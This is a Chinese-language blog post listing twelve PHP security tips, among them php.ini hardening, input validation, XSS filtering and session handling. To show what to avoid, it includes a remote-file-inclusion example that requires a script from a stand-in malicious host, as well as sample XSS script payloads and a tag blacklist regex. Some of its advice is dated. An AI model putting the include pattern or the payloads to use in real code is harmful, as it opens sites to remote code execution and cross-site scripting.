12個PHP安全開發技巧

12個PHP安全開發技巧

Image result for php security

1. 設定環境變數php.ini

  • 設定 register_globals = off : 主要是避免 PHP 的變數內容被任意修改或是藉由其他輸入被修改, 產生不預期的結果
  • 設定 session.use_only_cookies= 1: 這樣設定的目的主要避免  session ID可以任意從 $_GET取得
  • 設定 session.cookie_httponly =1: 這個設定的目的主要在於防止 cookie可以被 JavaScript 讀取, 避免讓黑客透過 XSS 的方式竊取 Cookie
  • 設定 display_errors = 0 主要目的是避免顯示過多的Web服務錯誤訊息讓黑客知道服務器內部邏輯的運作方式
register_globals = off;
session.use_only_cookies = 1;
session.cookie_httponly = 1;
display_errors = 0;

2. 所有輸入參數都必須驗證

PHP 中常見的使用者輸入變數如下:

  • $_GET
  • $_POST
  • $_SERVER
  • $_FILES
  • $_REQUEST
  • $_ENV
  • $_SESSION
  • $_COOKIE

因此所有的資料輸入都必須經過字元檢查過濾, 例如特殊字元檢查, url合法字元檢查, EMAIL 合法字元檢查等

PHP 提供相關檢查的機制參考:

http://php.net/manual/en/filter.filters.validate.php

http://php.net/manual/en/filter.filters.sanitize.php

3.  避免使用EVAL()  exec()   shell_exec()

使用這些函數容易導致命令注入的攻擊

 

4. 避免使用Cookie儲存敏感性資訊

Cookie 由於是儲存在用戶端瀏覽器, 因此如果用來儲存個人資訊容易導致資料外洩

Cookie 保持使用在暫時性驗證使用者的session ID

 

5. 不要直接使用使用者輸入參數當為Path

這種情況特別在於使用  include() 與require()的情況下, 需要定義路徑時

舉例來說, 當 URL include 為開放性的時候, 黑客可能會輸入一個惡意網址

<?php

$user_input = 'http://www.malicious.com/evil.php';
require($user_input);
?>

另外, PHP.ini建議設定

allow_url_fopen  = 0

allow_url_include = 0 

 

http://php.net/manual/en/filesystem.configuration.php

6. 區分敏感性數據儲存路徑

一般來說網站公開的瀏覽資訊會被存放在  public_html, httpdocs, www 等路徑

但是對於敏感性資訊, 可另外儲存在私有路徑下  /var/usr/includes/

7. isset() vs empty() vs is_null()

isset() Determine if a variable is set and is not NULL It returns true only when the variable is not null.
empty() Determine whether a variable is empty it will return true if the variable is an empty string, false, array(), NULL, “0?, 0, and an unset variable.
is_null() Finds whether a variable is NULL it returns true only when the variable is null

多半的情況下, 我們會使用 isset()來判斷參數的輸入是否有值而且不是 null.

特別要注意的是 isset() 對於空白字元的參數輸入, 也是視為有效的輸入字元.  可以另外參考下列方式驗證輸入

  • if ( $var )
  • if ( !empty( $var ) )
  • if ( $var != ” )
  • if ( strlen( $var) != 0 )
  • If ( isset( $var ) )  無法驗證空白字元
  • if ( is_string( $var ) ) 僅用在字串, 不適用於數字

8. SANITIZE 特殊字元

資料的輸入都並需經過 Validate 與 Sanitize 的方式處理

例如對於 HTML, URL, Email 等, 進行非法字元的移除與編碼的處理

http://www.php.net/manual/en/filter.filters.sanitize.php

 

 

9. 移除 HTML Tag

為避免網頁被任意竄改或是XSS注入, 可以利用PHP提供的函數 STRIP_TAGS()將輸入參數中的Tag移除

例如:  <script>location.href=\‘MaliciousSite\;</script>
經過移除之後變成: location.href=\‘MaliciousSite\;

<?php
$unsafeData = '<script>Malicious.href=\'mysite\';</script>';
$afterStrip = strip_tags($unsafeData);
echo $afterStrip;
// the result of echo:  Malicious.href=\'mysite\';
?>

另外使用  HTMLENTITIES()將所有的 <與>進行編碼

<?php
$unsafeData = '<script>location.href=\'mysite\';</script>';
$new = htmlentities($unsafeData);
echo $new;
// echos out
// <script>location.href='mysite';</script>
?>

使用字元黑名單也是一種方式, 但是這種方式存在許多未知風險, 建議以 strip_tags()與HTMLEntities方式為主, 黑名單方式為輔

使用preg_replace 的方式一個缺點是大小寫, 黑客可以很容易的透過大小寫的方式就繞過檢查

<?php
$blacklist = array('/<\/?script[^>]*>/');
$unsafeData = '<script>location.href=\'mysite\';</script>';
$new = preg_replace($blacklist, '', $unsafeData);
echo $new;
// echos out "location.href='mysite';"
?>

10. SQL injection

對於Mysql 的處理, 使用 mysql_real_escape_string()

另外建議使用PHP 提供 PDO Data Object的方式處理資料庫資料,

http://www.php.net/manual/en/book.pdo.php

11.數據加密  crypt()

使用PHP 加密處理時, 必須注意

  • 使用強加密算法
  • 使用 Salt進行 Hash

12. Session 管理

SessionID避免不斷的重複使用之外, 當使用者狀態有更改重新登入的時候, 使用session_regenerate_id()產生新的 session ID,

<?php
// regenerate session on successful login
if ( !empty( $_POST['password'] ) && $_POST['password'] === $password ) {
// if authenticated, generate a new random session ID
session_regenerate_id();
// set session to authenticated
$_SESSION['auth'] = TRUE;
// redirect to make the new session ID live
header( 'Location: ' . $_SERVER['SCRIPT_NAME'] );
}
// take some action
?>

Session超時管理, PHP 對於 Session會話的超時定義有兩種方式

session.gc_maxlifetime

session.cookie_lifetime

預設值default 1440 seconds 預設值 0
當使用者登入之後, 沒有動作

1440秒之後該會話就會自動失效

0:表適當瀏覽器關閉時就會失效

這個設定值為絕對值, 不管使用者是否有動作

 

其他參考 PHP Security

http://php.net/manual/en/security.php

 

Leave a Reply

Your email address will not be published.